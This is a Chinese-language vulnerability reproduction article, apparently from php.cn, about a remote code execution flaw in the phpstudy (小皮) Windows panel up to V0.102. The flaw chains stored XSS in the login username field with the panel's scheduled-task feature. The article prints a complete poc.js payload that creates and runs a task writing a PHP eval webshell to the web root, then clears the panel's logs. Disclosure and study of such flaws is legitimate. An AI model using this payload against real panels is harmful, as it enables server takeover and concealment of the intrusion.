phpstudy是一款集成了最新版apache+php+mysql+phpmyadmin+zendoptimizer的php调试环境程序包。该程序包无需复杂配置,一次性安装即可使用,是一款非常便捷且高效的php调试工具。此外,phpstudy还提供了开发工具和开发手册,进一步增强了其实用性。
phpstudy小皮面板中存在一个远程代码执行(RCE)漏洞。经分析和复现,发现此漏洞源于一个存储型的跨站脚本(XSS)漏洞。通过在系统登录用户名输入框中注入XSS代码,并结合系统后台自动添加计划任务的功能,可以实现RCE。
此漏洞影响小皮windows面板V0.102及以下版本。官方已发布修复版本,可从以下链接下载漏洞版本:https://www.php.cn/link/bea65a5d4303b90f2d29322ea14aeffb
安装成功后,系统会弹出初始账号和密码:
立即学习“PHP免费学习笔记(深入)”;
在尝试几次错误的用户名和密码后(需要正确输入验证码),发现错误的用户名会被记录到首页的操作日志中:
进一步尝试在登录框中插入XSS代码,发现漏洞正是通过登录窗口的存储型XSS实现的。登录框未进行有效限制,且登录失败的用户名会被直接显示在小皮首页的日志中,从而可以插入任意XSS代码。结合phpstudy内置的计划任务功能,可以写入webshell实现RCE。
系统后台的计划任务功能允许执行系统命令,因此通过登录处的XSS漏洞,可以写入计划任务来执行命令。
在VPS上部署时,需要插入以下poc.js文件(写入目录根据本地实际情况进行调整):
function poc() { $.get('/service/app/tasks.php?type=task_list', {}, function(data) { var id = data.data[0].ID; $.post('/service/app/tasks.php?type=exec_task', { tid: id }, function(res2) { $.post('/service/app/log.php?type=clearlog', {}, function(res3) {}, "json"); }, "json"); }, "json"); } function save() { var data = new Object(); data.task_id = ""; data.title = "test"; data.exec_cycle = "1"; data.week = "1"; data.day = "3"; data.hour = "14"; data.minute = "20"; data.shell = 'echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'; $.post('/service/app/tasks.php?type=save_shell', data, function(res) { poc(); }, 'json'); } save();
将上述代码插入登录框中,加载远程js代码:
更新到最新版本的小皮面板,即可修复此漏洞。最新版的小皮面板已修复此漏洞。
以上就是phpstudy小皮Windows面板RCE漏洞的详细内容,更多请关注php中文网其它相关文章!
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号